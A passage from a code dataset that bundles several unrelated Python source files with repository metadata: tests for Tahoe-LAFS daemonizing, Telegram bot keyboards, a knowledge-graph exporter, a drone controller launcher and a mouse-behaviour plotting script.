test_daemonize_unknown_nodetype(self):\n tmpdir = self.mktemp()\n plug = DaemonizeTahoeNodePlugin('an-unknown-service', tmpdir)\n\n with patch('twisted.internet.reactor') as r:\n def call(fn, *args, **kw):\n fn()\n r.stop = lambda: None\n r.callWhenRunning = call\n service = plug.makeService(self.options)\n service.parent = Mock()\n with self.assertRaises(ValueError) as ctx:\n service.startService()\n self.assertIn(\n \"unknown nodetype\",\n str(ctx.exception)\n )\n\n def test_daemonize_options(self):\n parent = runner.Options()\n opts = DaemonizeOptions()\n opts.parent = parent\n opts.parseArgs()\n\n # just gratuitous coverage, ensureing we don't blow up on\n # these methods.\n opts.getSynopsis()\n opts.getUsage()\n\n\nclass RunDaemonizeTests(unittest.TestCase):\n\n def setUp(self):\n # no test should change our working directory\n self._working = os.path.abspath('.')\n d = super(RunDaemonizeTests, self).setUp()\n self._reactor = patch('twisted.internet.reactor')\n self._reactor.stop = lambda: None\n self._twistd = patch('allmydata.scripts.tahoe_daemonize.twistd')\n self.node_dir = self.mktemp()\n os.mkdir(self.node_dir)\n for cm in [self._reactor, self._twistd]:\n cm.__enter__()\n return d\n\n def tearDown(self):\n d = super(RunDaemonizeTests, self).tearDown()\n for cm in [self._reactor, self._twistd]:\n cm.__exit__(None, None, None)\n # Note: if you raise an exception (e.g. via self.assertEqual\n # or raise RuntimeError) it is apparently just ignored and the\n # test passes anyway...\n if self._working != os.path.abspath('.'):\n print(\"WARNING: a test just changed the working dir; putting it back\")\n os.chdir(self._working)\n return d\n\n def _placeholder_nodetype(self, nodetype):\n fname = join(self.node_dir, '{}.tac'.format(nodetype))\n with open(fname, 'w') as f:\n f.write(\"test placeholder\")\n\n def test_daemonize_defaults(self):\n self._placeholder_nodetype('introducer')\n\n config = runner.parse_or_exit_with_explanation([\n # have to do this so the tests don't much around in\n # ~/.tahoe (the default)\n '--node-directory', self.node_dir,\n 'daemonize',\n ])\n i, o, e = StringIO(), StringIO(), StringIO()\n with patch('allmydata.scripts.runner.sys') as s:\n exit_code = [None]\n def _exit(code):\n exit_code[0] = code\n s.exit = _exit\n runner.dispatch(config, i, o, e)\n\n self.assertEqual(0, exit_code[0])\n\n def test_daemonize_wrong_nodetype(self):\n self._placeholder_nodetype('invalid')\n\n config = runner.parse_or_exit_with_explanation([\n # have to do this so the tests don't much around in\n # ~/.tahoe (the default)\n '--node-directory', self.node_dir,\n 'daemonize',\n ])\n i, o, e = StringIO(), StringIO(), StringIO()\n with patch('allmydata.scripts.runner.sys') as s:\n exit_code = [None]\n def _exit(code):\n exit_code[0] = code\n s.exit = _exit\n runner.dispatch(config, i, o, e)\n\n self.assertEqual(0, exit_code[0])\n\n def test_daemonize_run(self):\n self._placeholder_nodetype('client')\n\n config = runner.parse_or_exit_with_explanation([\n # have to do this so the tests don't much around in\n # ~/.tahoe (the default)\n '--node-directory', self.node_dir,\n 'daemonize',\n ])\n with patch('allmydata.scripts.runner.sys') as s:\n exit_code = [None]\n def _exit(code):\n exit_code[0] = code\n s.exit = _exit\n from allmydata.scripts.tahoe_daemonize import daemonize\n daemonize(config)\n","repo_name":"bonewho/Tahoe-lafs","sub_path":"src/allmydata/test/cli/test_daemonize.py","file_name":"test_daemonize.py","file_ext":"py","file_size_in_byte":6803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23443682019","text":"# from person import Person\n# from child import Child\n\n# person = Person(\"Peter\", 25)\n# child = Child(\"Peter Junior\", 5)\n# print(person.name)\n# print(person.age)\n# print(child.__class__.__bases__[0].__name__)\n\n# zero test\nfrom project.person import Person\nfrom project.child import Child\nimport unittest\n\n\nclass Tests(unittest.TestCase):\n def test(self):\n person = Person(\"Peter\", 25)\n child = Child(\"Peter Junior\", 5)\n self.assertEqual(person.name, \"Peter\")\n self.assertEqual(person.age, 25)\n self.assertEqual(child.__class__.__bases__[0].__name__, \"Person\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"LazyPotato02/Python-SoftUni","sub_path":"OOP/Inheritance/person/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"9860575439","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\ndef reverse(number):\n flag = False\n if number < 0:\n flag = True\n number = -number\n result = 0\n while number > 0:\n result = result * 10 + number % 10\n number = number // 10\n if flag:\n result = -result\n return result\n","repo_name":"IgorKurylev/AppliedPythonAtom","sub_path":"homeworks/homework_01/hw1_invertint.py","file_name":"hw1_invertint.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"23943489339","text":"from aiogram.types import InlineKeyboardButton\nfrom aiogram.utils.keyboard import InlineKeyboardBuilder, InlineKeyboardMarkup\n\nfrom database.models.modify_post import ModifyPostData\n\n\ndef admin_menu(msg_id: int = 0) -> InlineKeyboardMarkup:\n builder = InlineKeyboardBuilder()\n\n b_right = InlineKeyboardButton(text=\"🔐 Права доступа\", callback_data=f\"ADMIN_rights_{msg_id}\")\n b_prompt = InlineKeyboardButton(text=\"🔁 Обновить prompt\", callback_data=f\"PROMPT_update_{msg_id}\")\n b_profile = InlineKeyboardButton(text=\"📋 Профиль\", callback_data=f\"PROFILE_admin_{msg_id}\")\n b_channel_ = InlineKeyboardButton(text=\"🎛 Управление каналом\", callback_data=f\"CHANNEL_{msg_id}\")\n\n builder.row(b_right).row(b_prompt).row(b_channel_).row(b_profile)\n\n return builder.as_markup()\n\n\ndef channel_back_to_admin_menu(msg_id: int):\n builder = InlineKeyboardBuilder()\n\n b_back_to_main_admin_menu = InlineKeyboardButton(text=\"⬅️ Меню\", callback_data=f\"CHANNEL_back_{msg_id}\")\n\n builder.row(b_back_to_main_admin_menu)\n\n return builder.as_markup()\n\n\ndef channel_menu(msg_id: int):\n builder = InlineKeyboardBuilder()\n\n b_add = InlineKeyboardButton(text=\"🖍 Добавить канал\", callback_data=f\"ADMIN_add_chanel_{msg_id}\")\n b_channel_id = InlineKeyboardButton(text=\"🔢 Узнать id канала\", callback_data=f\"CHANNEL_get:id_{msg_id}\")\n b_channel_all = InlineKeyboardButton(text=\"📜 Все каналы\", callback_data=f\"CHANNEL_get:all_{msg_id}\")\n b_delete_channel = InlineKeyboardButton(text=\"❌ Удалить канал\", callback_data=f\"ADMIN_delete_{msg_id}\")\n b_back = InlineKeyboardButton(text=\"↩️ Назад\", callback_data=f\"CHANNEL_back_{msg_id}\")\n\n builder.row(b_add).row(b_delete_channel).row(b_channel_all).row(b_channel_id).row(b_back)\n\n return builder.as_markup()\n\n\ndef admin_rights_menu(msg_id: int):\n builder = InlineKeyboardBuilder()\n\n b_add = InlineKeyboardButton(text=\"Добавить админа\", callback_data=f\"ADMIN_rights_add_{msg_id}\")\n b_delete = InlineKeyboardButton(text=\"Удалить админа\", callback_data=f\"ADMIN_rights_delete_{msg_id}\")\n delete_all = InlineKeyboardButton(text=\"Удалить всех админов\", callback_data=f\"ADMIN_rights_delete:all_{msg_id}\")\n b_all_admins = InlineKeyboardButton(text=\"Показать всех админов\", callback_data=f\"ADMIN_rights_get:all_{msg_id}\")\n b_back = InlineKeyboardButton(text=\"⬅️ Меню\", callback_data=f\"CHANNEL_back_{msg_id}\")\n\n builder.row(b_add).row(b_delete, delete_all).row(b_all_admins).row(b_back)\n\n return builder.as_markup()\n\n\ndef user_menu(msg_id: int = 0):\n bts = {\n \"Написать админу\": f\"USER_send_{msg_id}\",\n \"Профиfль\": f\"PROFILE_user_{msg_id}\"\n }\n\n builder = InlineKeyboardBuilder()\n\n for btn_title, btn_callback in bts.items():\n b = InlineKeyboardButton(text=btn_title, callback_data=btn_callback)\n builder.add(b)\n\n return builder.as_markup()\n\n\ndef user_profile_menu():\n bts = {\n \"Мой id\": \"TOOL_GetMyId\"\n }\n\n builder = InlineKeyboardBuilder()\n\n for btn_title, btn_callback in bts.items():\n b = InlineKeyboardButton(text=btn_title, callback_data=btn_callback)\n builder.add(b)\n\n return builder.as_markup()\n\n\ndef admin_profile_menu():\n bts = {\n \"Мой id\": \"TOOL_GetMyId\",\n }\n\n builder = InlineKeyboardBuilder()\n\n for btn_title, btn_callback in bts.items():\n b = InlineKeyboardButton(text=btn_title, callback_data=btn_callback)\n builder.add(b)\n\n return builder.as_markup()\n\n\ndef approve_message(new_post: ModifyPostData):\n builder = InlineKeyboardBuilder()\n\n b_approve = InlineKeyboardButton(text=\"Опубликовать ✅\",\n callback_data=f\"MESSAGE_approve_{new_post.id}:{new_post.post_id}\"\n f\":{new_post.channel_id}\")\n b_repeat = InlineKeyboardButton(text=\"Преписать ♻️\",\n callback_data=f\"MESSAGE_repeat_{new_post.id}:{new_post.post_id}\"\n f\":{new_post.channel_id}\")\n b_reject = InlineKeyboardButton(text=\"Отклонить 🚫\",\n callback_data=f\"MESSAGE_reject_{new_post.id}:{new_post.post_id}\"\n f\":{new_post.channel_id}\")\n b_edit = InlineKeyboardButton(text=\"Редактировать 📝\",\n callback_data=f\"MESSAGE_edit_{new_post.id}:{new_post.post_id}\"\n f\":{new_post.channel_id}\")\n\n builder.row(b_approve).row(b_repeat, b_reject).row(b_edit)\n\n return builder.as_markup()\n\n\ndef edit_menu(text: str):\n builder = InlineKeyboardBuilder()\n b = InlineKeyboardButton(text=\"Начать\", switch_inline_query_current_chat=text)\n builder.row(b)\n\n return builder.as_markup()\n","repo_name":"koozoo/NewsParser","sub_path":"bot/keyboards/inline.py","file_name":"inline.py","file_ext":"py","file_size_in_byte":5069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38378478712","text":"import cartesius.main as cartesius\r\nimport cartesius.elements as elements\r\nimport cartesius.charts as charts\r\nimport sys\r\n\r\npoints = []\r\n\r\nclass complex:\r\n def __init__(self, real, imaginary):\r\n self.real = real\r\n self.imaginary = imaginary\r\n\r\n def add(num1, num2):\r\n rsum = num1.real + num2.real\r\n isum = num1.imaginary + num2.imaginary\r\n print(\"{}, {}i\".format(rsum, isum))\r\n \r\n def subtract(num1, num2):\r\n rminus = num1.real - num2.real\r\n iminus = num1.imaginary - num2.imaginary\r\n print(rminus, iminus)\r\n\r\n def multiply(num1, num2):\r\n iterm = (num1.real * num2.imaginary) + (num1.imaginary * num2.real)\r\n rterm = (num1.real * num2.real) - (num1.imaginary * num2.imaginary)\r\n return(rterm, iterm)\r\n\r\nc1 = complex(3, 5)\r\nc2 = complex(4, 2)\r\nc1.multiply(c2)\r\n\r\n\r\nz = complex(2, 3)\r\nfactor = complex(6, -15)\r\nz.multiply(factor)\r\n\r\ninitr = 2\r\niniti = 3\r\n\r\n\"\"\"\r\nn = 1\r\nfor i in range(15):\r\n product = complex(initr, initi).multiply(complex(n, n))\r\n print(product)\r\n n += 1\r\n initr = product[0]\r\n initi = product[1]\"\"\"\r\n\r\ndef xplane():\r\n global initr\r\n global initi\r\n global n\r\n coordinate_system = cartesius.CoordinateSystem(bounds=(-30000, 30000, -30000, 30000))\r\n coordinate_system.add(elements.Point((c1.real, c1.imaginary), style='o'))\r\n coordinate_system.add(elements.Point((c2.real, c2.imaginary), style='o'))\r\n coordinate_system.add(elements.Point((c1.multiply(c2)), style='o'))\r\n for i in range(15):\r\n #product = complex(1, 1).multiply(complex(1, i))\r\n product = complex(initr, initi).multiply(complex(2, 2))\r\n print(product)\r\n initr = product[0]\r\n initi = product[1]\r\n coordinate_system.add(elements.Point((product), style='x', label=(\"XXXXX{}, {}XXXXX \".format(initr, initi)), color=\"red\"))\r\n return coordinate_system.draw(12000, 8000), coordinate_system.draw(1200, 800, antialiasing=True)\r\npoints.append(xplane)\r\n\r\nargs = sys.argv[1:]\r\n\r\nfor i, function in enumerate(points):\r\n images = function()\r\n print('Processing %s' % function)\r\n\r\n if not isinstance(images, tuple) and not isinstance(images, list):\r\n images = [images]\r\n\r\n for j, image in enumerate(images):\r\n image_name = 'graph-{0}-{1}.png'.format(i, j)\r\n image.save(image_name)\r\n print('written:', image_name)","repo_name":"AnthonyFerr/Complex-Spiral","sub_path":"complex_numbers.py","file_name":"complex_numbers.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23047049674","text":"#!/usr/bin/env python3\nimport os\n\nfrom aws_cdk import App, Environment\n\nfrom nimblestudio.constructs.build_farm import NimbleStudioBuildFarmStack\n\napp = App()\n\n# If you don't specify 'env', this stack will be environment-agnostic.\n# Account/Region-dependent features and context lookups will not work,\n# but a single synthesized template can be deployed anywhere.\n\n# Uncomment the next line to specialize this stack for the AWS Account\n# and Region that are implied by the current CLI configuration.\nenvironment = Environment(\n account=os.getenv(\"CDK_DEFAULT_ACCOUNT\"), region=os.getenv(\"CDK_DEFAULT_REGION\")\n)\n\nbuild_farm_stack = NimbleStudioBuildFarmStack(\n app, \"NimbleStudioBuildFarm\", env=environment\n)\n\napp.synth()\n","repo_name":"aws-samples/nimblestudio-game-development-suite","sub_path":"nimble_studio_game_development_suite/nimble_studio_build_farm/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"18827343516","text":"import os\nimport sys\nimport json\nimport logging\nimport sqlite3\nimport time\nfrom sqlite3 import Error\nfrom sqlite3.dbapi2 import Cursor, complete_statement\n\nclass KG():\n def __init__(self, app_name):\n super().__init__()\n import configparser\n self.app_name = app_name\n self.config = configparser.ConfigParser() \n common = os.path.join(\"config\", \"common.ini\")\n kg = os.path.join(\"config\", \"kg.ini\")\n self.config.read([common, kg])\n self.connection= None \n \n def get_db(self, db_path):\n \"\"\"\n Create a connection to Mysqlite3 databade\n \n :param db_path: Path to mysql file\n :type db_path: .db file \n \n \n :returns: Connection to mysql db\n :rtype: <class 'sqlite3.Connection'>\n\n \"\"\"\n if not os.path.isfile(db_path):\n logging.error(f'{db_path} is not a file. Run \"sh setup.sh\" to generate db files')\n exit()\n else:\n try:\n self.connection = sqlite3.connect(db_path)\n except Error as e:\n logging.error(f'{e} cannot create connection to db. Check that the {db_path} is the correct file ')\n exit()\n\n def get_entities(self):\n entity_types_cursor = self.connection.cursor()\n entity_types_cursor.execute(\"SELECT * FROM entity_types\")\n entity_types = {}\n for entity_types_tuple in entity_types_cursor.fetchall():\n entity_type_id = entity_types_tuple[0]\n entity_type_name = entity_types_tuple[1]\n entity_types[entity_type_id] = entity_type_name\n \n entity_cursor = self.connection.cursor()\n entity_cursor.execute(\"SELECT * FROM entities\")\n entities = {\"version\": self.config[\"general\"][\"version\"]}\n data = {}\n idx = 0\n for entity_tuple in entity_cursor.fetchall():\n entity_data = {}\n entity_data[\"entity_id\"] = entity_tuple[0]\n entity_data[\"entity_name\"] = entity_tuple[1]\n entity_data[\"entity_type_id\"] = entity_tuple[2]\n entity_data[\"entity_type_name\"] = entity_types[entity_tuple[2]]\n entity_data[\"external_link\"] = entity_tuple[3]\n data[idx] = entity_data \n idx += 1\n \n entities[\"data\"] = data\n \n return entities\n \n def get_mentions(self):\n entity_cursor = self.connection.cursor()\n entity_cursor.execute(\"SELECT * FROM entities\")\n entities = {}\n for entity_tuple in entity_cursor.fetchall():\n entities[entity_tuple[0]] = entity_tuple[1]\n \n mention_cursor = self.connection.cursor()\n mention_cursor.execute(\"SELECT * FROM entity_mentions\") \n mentions = {\"version\": self.config[\"general\"][\"version\"]}\n mapping = {}\n for mention_tuple in mention_cursor.fetchall(): \n mention_id, mention, entity_type_id, entity_id, source = mention_tuple \n mention_data = mapping.get(entity_id, {})\n mention_list = mention_data.get(source, [])\n mention_list.append(mention)\n mention_data[source] = mention_list\n mapping[entity_id] = mention_data\n\n idx = 0\n data = {}\n for entity_id, mention_data in mapping.items():\n data[idx] = {}\n data[idx][\"entity_id\"] = entity_id\n mention_data[\"standardized\"] = entities[entity_id]\n data[idx][\"mentions\"] = mention_data\n idx += 1\n\n mentions[\"data\"] = data\n return mentions\n\n def generate_tca(self):\n try:\n kg_dir = self.config[\"general\"][\"kg_dir\"]\n db_dir = self.config[\"general\"][\"db_dir\"]\n version = self.config[\"general\"][\"version\"]\n ent_name= self.config[\"tca\"][\"entities\"]\n men_name= self.config[\"tca\"][\"mentions\"] \n except KeyError as k:\n logging.error(f'{k} is not a key in your kg.ini file.')\n exit()\n\n db_path = os.path.join(db_dir, version+\".db\")\n self.get_db(db_path)\n\n os.makedirs(kg_dir, exist_ok=True)\n entities = self.get_entities()\n entities_file_name = os.path.join(kg_dir, ent_name)\n with open(entities_file_name, 'w', encoding='utf-8') as entities_file:\n json.dump(entities, entities_file, indent=4)\n mentions = self.get_mentions()\n mentions_file_name = os.path.join(kg_dir, men_name)\n with open(mentions_file_name, 'w', encoding='utf-8') as mentions_file:\n json.dump(mentions, mentions_file, indent=4)\n\n \n def generate(self, task_name):\n if task_name == \"tca\":\n self.generate_tca()\n \nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO, format=\"[%(asctime)s] %(name)s:%(levelname)s in %(filename)s:%(lineno)s - %(message)s\", filemode='w')\n kg = KG(\"entity_standardizer\")\n kg.generate(\"tca\")\n","repo_name":"divsan93/TCA_documentation","sub_path":"kg_utils/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":5103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74856082703","text":"import json\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport re\nimport tweepy\n\n\ndef word_in_text(word, text):\n word = word.lower()\n text = tweet.lower()\n match = re.search(word, text)\n\n if match:\n return True\n return False\n\ntweets_data = []\n\ntweets_file = open('tweets.txt', 'r')\n\nfor line in tweets_file:\n tweet=json.loads(line)\n tweets_data.append(tweet)\n\ntweets_file.close()\n\ndf = pd.DataFrame(tweets_data, columns=['text', 'lang'])\n\n[clinton, trump, sanders, cruz] = [0, 0, 0, 0]\n\n# counting the number of tweets in which each candidate is mentioned\nfor index, row in df.iterrows():\n clinton += word_in_text('clinton', row['text'])\n trump += word_in_text('trump', row['text'])\n sanders += word_in_text('sanders', row['text'])\n cruz += word_in_text('cruz', row['text'])\n\ncandidates = ['clinton', 'trump', 'sanders', 'cruz']\nsns.set(color_codes=True)\n_ = sns.barplot(candidates, [clinton, trump, sanders, cruz])\n_.set(ylabel=\"count\")\nplt.show()\n","repo_name":"akapet00/python-loves-data","sub_path":"json/src/5_parsing_Twitter_JSON.py","file_name":"5_parsing_Twitter_JSON.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70983620943","text":"# coding=utf-8\n# source ~/code/parrot-groundsdk/products/olympe/linux/env/shell à exécuter\n# Prévoir : export LD_PRELOAD=/usr/lib/arm-linux-gnueabihf/libatomic.so.1\nimport sys\n# insert at 1, 0 is the script path (or '' in REPL)\nimport time;\nimport log.log\nimport _thread\nlog.log.init_logs()\nlog.log.logger.info(\"Initialisation des logs LOCUSTE\")\n\ntry : \n log.log.init_olympe_logs();\n log.log.logger.info(\"Logger Olympe initialisé\")\nexcept (Exception) as error: \n log.log.logger.error(\"Une erreur est intervenue\") # On reste avec l'affichage standard OLYMPE : Console\n log.log.logger.error(\"{}\".format(error))\n\nimport configurations\nconfigurations.load_config()\n\nimport drone\nall_drones = {}\n\ndef associate_drone(data):\n global all_drones\n all_drones[data[\"ip_address\"]] = drone.PyDrone( data[\"ip_address\"],configurations.drone_config[\"drone_altitude\"] )\n\n\ntry :\n for drone_data in configurations.drone_config[\"drones\"]:\n log.log.logger.info(\"{}\".format(drone_data))\n _thread.start_new_thread( associate_drone, (drone_data,))\nexcept (Exception) as error: \n log.log.logger.error(\"Une erreur est intervenue\")\n log.log.logger.error(\"{}\".format(error))\n\nimport signal\ndef signal_handler(signal, frame):\n global all_drones\n for key in all_drones :\n drone_data = all_drones[key]\n drone_data.Interrupt(None);\n drone_data.ShutDownFailOver();\n drone_data.clear_all();\n time.sleep(1);\n log.log.logger.info(\"Arrêt et suppression de {}\".format(key))\n del key;\n \n all_drones.clear();\n sys.exit(0)\n \nsignal.signal(signal.SIGINT, signal_handler)\nsignal.pause()\n","repo_name":"DaemonToolz/locuste.drone.automata","sub_path":"locuste.drone.automata.py","file_name":"locuste.drone.automata.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"35638312902","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 08 18:07:23 2019\n\n@author: svc_ccg\n\"\"\"\n\nimport numpy as np\nimport matplotlib\nfrom matplotlib import pyplot as plt\nfrom behaviorAnalysis import formatFigure\nfrom nogoData import nogo_turn\nfrom ignoreTrials import ignore_trials\nfrom dataAnalysis import ignore_after, get_dates, import_data\n\n\ndef plot_param(data, param='targetLength', showTrialN=True, \n ignoreNoRespAfter=None, returnCounts=False, array_only=False):\n '''\n plots the percent correct or response for a variable target duration session,\n variable contrast session, opto contrast session, or masking session\n \n param is variable parameter that you want to visualize - targetLength, targetContrast, opto, soa\n showTrialN=True will add the total counts into the plots \n ignoreNoResp takes an int, and will ignore all trials after [int] consecutive no resps\n returnArray=True is for the save plot, will return just the values and no plots\n '''\n \n d = data\n matplotlib.rcParams['pdf.fonttype'] = 42\n \n# get file data\n info = str(d).split('_')[-3:-1]\n date = get_dates(info[1])\n mouse = info[0]\n \n\n# if sequence of no resps exceeds val assigned to 'ignoreNoRespAfter' in function call,\n# returns trial num to ignore trials after \n end = ignore_after(d, ignoreNoRespAfter)[0] if ignoreNoRespAfter is not None else len(d['trialResponse'][:])\n \n \n# assign relevant file values to variables \n trialResponse = d['trialResponse'][:end]\n trialRewardDirection = d['trialRewardDir'][:end] \n fi = d['frameIntervals'][:]\n framerate = int(np.round(1/np.median(fi)))\n trialType = d['trialType'][:end]\n\n\n# determine parameter to analyze \n if param =='targetLength' or param=='target duration':\n param = 'targetLength'\n trialParam = d['trialTargetFrames'][:end] * 1000/framerate \n elif param =='targetContrast':\n trialParam = d['trialTargetContrast'][:end]\n elif param =='opto':\n trialParam = d['trialOptoOnset'][:end]\n elif param == 'soa' or param=='masking':\n param='soa'\n trialParam = d['trialMaskOnset'][:end]\n \n \n# if there are repeats, identify and ignore them\n if 'trialRepeat' in d.keys():\n prevTrialIncorrect = d['trialRepeat'][:end] #recommended, since keeps track of how many repeats occurred \n else:\n if d['incorrectTrialRepeats'][()] > 0:\n prevTrialIncorrect = np.concatenate(([False],trialResponse[:-1]<1))\n else:\n prevTrialIncorrect = np.full(end, False)\n \n\n\n# remove ignore trials\n ignore = ignore_trials(d) \n ignoring = np.full(end, 0)\n \n for i,_ in enumerate(ignoring):\n if i in ignore:\n ignoring[i] = 1\n \n trialResponse2 = trialResponse[ignoring==0] \n trialParam = trialParam[ignoring==0]\n trialRewardDirection = trialRewardDirection[ignoring==0] \n prevTrialIncorrect = prevTrialIncorrect[ignoring==0]\n trialType = trialType[ignoring==0]\n trialTargetContrast = d['trialTargetContrast'][:end][ignoring==0]\n\n# ignore repeats AND catch trials (no target)\n trialResponse2 = trialResponse2[(prevTrialIncorrect==False)& (trialType!='catch')] \n trialParam = trialParam[(prevTrialIncorrect==False)& (trialType!='catch')]\n trialRewardDir = trialRewardDirection[(prevTrialIncorrect==False)& (trialType!='catch')] \n trialTargetContrast = trialTargetContrast[(prevTrialIncorrect==False)& (trialType!='catch')]\n\n\n# for session with opotgenetics, selects only those trials with the optogenetics\n if param=='opto':\n optoOnset = d['optoOnset'][:]\n for i, trial in enumerate(trialParam): # replace nans (no opto) with -1\n if ~np.isfinite(trial):\n noOpto = optoOnset[-1] + np.median(np.round(np.diff(optoOnset))) if len(optoOnset)>1 else optoOnset[0]+1\n trialParam[i] = noOpto\n\n\n# now that repeats and catch have been removed, identify parameter values\n paramVals = np.unique(trialParam)\n\n\n# ignore param values that == 0, these are no target \n if param == 'targetLength' or param == 'targetContrast':\n paramVals = paramVals[paramVals>0]\n\n\n#handling mask only vs no mask (both onset == 0) \n if param == 'soa': \n paramVals = paramVals[paramVals>0]\n noMaskVal = paramVals[-1] + round(np.mean(np.diff(paramVals))) # assigns noMask condition an evenly-spaced value from soas\n paramVals = np.append(paramVals, noMaskVal) # makes final value the no-mask condition\n \n trialMaskFrames = d['trialMaskFrames'][:end][ignoring==0][(prevTrialIncorrect==False) & (trialType!='catch')] \n trialResponseDir = d['trialResponseDir'][:end][ignoring==0][(prevTrialIncorrect==False) & (trialType!='catch')] \n trialMaskContrast = d['trialMaskContrast'][:end][ignoring==0][(prevTrialIncorrect==False) & (trialType!='catch')] \n trialType = d['trialType'][:end][ignoring==0][(prevTrialIncorrect==False) & (trialType!='catch')]\n \n # filters target-Only trials\n for i, (mask, frames) in enumerate(zip(trialParam, trialMaskFrames)): \n if frames==0 and mask==0:\n trialParam[i]=noMaskVal\n \n #what about mask-only condition? -- trialParam of 0\n \n\n \n# separate trials into [[turn l] , [turn R]] and parameter value\n \n hits = [[],[]]\n misses = [[], []]\n noResps = [[],[]]\n \n for i, direction in enumerate([-1,1]):\n directionResponses = [trialResponse2[(trialRewardDir==direction) & \n (trialParam == tf)] for tf in paramVals]\n hits[i].append([np.sum(drs==1) for drs in directionResponses])\n misses[i].append([np.sum(drs==-1) for drs in directionResponses])\n noResps[i].append([np.sum(drs==0) for drs in directionResponses])\n \n hits = np.squeeze(np.array(hits))\n misses = np.squeeze(np.array(misses))\n noResps = np.squeeze(np.array(noResps))\n resps = hits+misses\n totalTrials = resps+noResps\n \n \n \n if param=='opto':\n trialType = d['trialType'][:end][ignoring==0]\n trialTurn = d['trialResponseDir'][:end][ignoring==0]\n optoOnset = d['trialOptoOnset'][:end][ignoring==0]\n \n for i, trial in enumerate(trialTurn):\n if ~np.isfinite(trial):\n trialTurn[i] = 0 \n \n for i, trial in enumerate(optoOnset): # replace nans (no opto) with -1\n if ~np.isfinite(trial):\n optoOnset[i]= noOpto\n \n catch = [[] for i in range(len(paramVals))] # separate catch trials by opto onset\n \n for i, o in enumerate(paramVals):\n for j, (opto, turn, typ) in enumerate(zip(optoOnset, trialTurn, trialType)):\n if 'catch' in typ:\n if o==opto:\n catch[i].append(abs(int(turn)))\n \n \n catchTurn = np.array(list(map(sum, [c for c in catch])))\n catchCounts = np.array(list(map(len, [c for c in catch])))\n \n xlabls1 = [(on/framerate) - ((1/framerate)*2) for on in list(paramVals)]\n xticklabels = [int(np.round(x*1000)) for x in xlabls1]\n \n \n if param=='soa':\n maskOnlyTotal = np.sum(trialType=='maskOnly') # ignores are already excluded\n maskOnly = [[], [], []]\n for i, (typ, resp, mask) in enumerate(zip(trialType, trialResponseDir, trialMaskContrast)):\n if typ == 'maskOnly' and mask>0:\n if np.isfinite(resp):\n if resp==1:\n maskOnly[0].append(resp) # turned right \n elif resp==-1:\n maskOnly[1].append(resp) # turned left\n else:\n maskOnly[2].append(1) # no response\n \n maskOnly[0] = np.sum(maskOnly[0]) # turn R \n maskOnly[1] = np.sum(maskOnly[1])*-1 # turn L\n maskOnly[2] = np.sum(maskOnly[2]) # no resp\n \n \n \n if 0 in trialRewardDir: # this already excludes repeats \n \n nogoTotal = len(trialParam[trialParam==0])\n nogoCorrect = len(trialResponse2[(trialResponse2==1) & (trialParam==0)])\n nogoMove = nogoTotal - nogoCorrect\n \n nogoTurnDir = np.array(nogo_turn(d)[0][0])\n \n nogoR = sum(nogoTurnDir[nogoTurnDir==1])\n nogoL = sum(nogoTurnDir[nogoTurnDir==-1])*-1\n else:\n pass\n \n\n \n if returnCounts==True:\n array_counts = {str(param): list(paramVals), 'total trials': totalTrials, \n 'hits': hits, 'misses': misses, 'resps': resps, 'no response': noResps}\n return (mouse, array_counts)\n \n elif array_only==True:\n \n mask = (maskOnly[0]+maskOnly[1])/maskOnlyTotal if param=='soa' else None\n avg_catch = (catchTurn/catchCounts) if param=='opto' else None\n \n return (mouse, {str(param):np.round(paramVals, 2), \n 'Response Rate':(resps[0]+resps[1])/(totalTrials[0]+totalTrials[1]), \n 'Fraction Correct':(hits[0]+hits[1])/(resps[0]+resps[1]), \n 'Catch Trials':avg_catch,\n 'maskOnly': mask})\n \n\n## PLOTTING \n else: \n for num, denom, title in zip([hits, hits, resps], \n [totalTrials,resps, totalTrials],\n ['Fraction Correct', 'Fraction Correct Given Response', 'Response Rate']):\n \n \n fig, ax = plt.subplots()\n \n \n \n ax.plot(paramVals, num[0]/denom[0], 'bo-', lw=3, alpha=.7, label='Left turning') #here [0] is right trials and [1] is left\n ax.plot(paramVals, num[1]/denom[1], 'ro-', lw=3, alpha=.7, label='Right turning')\n ax.plot(paramVals, (num[0]+num[1])/(denom[0]+denom[1]), 'ko--', alpha=.5, label='Combined average') #plots the combined average \n \n \n xticks = paramVals\n xticklabels = list(paramVals)\n\n if param=='targetLength':\n xticklabels = list(np.round(xticks).astype(int))\n xlab = 'Target Duration (ms)'\n\n \n elif param=='targetContrast':\n xlab = 'Target Contrast'\n \n \n elif param=='opto':\n \n if title == 'Response Rate':\n ax.plot(xticks, catchTurn/catchCounts, 'mo-', alpha=.5, lw=3, label='Catch Trials') # plot catch trials\n for p, c in zip(xticks, catchCounts):\n fig.text(p, 1.05, str(c), transform=ax.transData, color='m', alpha=.5, fontsize=10,ha='center',va='bottom')\n \n \n xticklabels = [int(np.round(((x-2)/framerate)*1000)) for x in xticklabels]\n xticklabels[-1] = 'no opto'\n ax.xaxis.set_label_coords(0.5,-0.08) \n xlab = 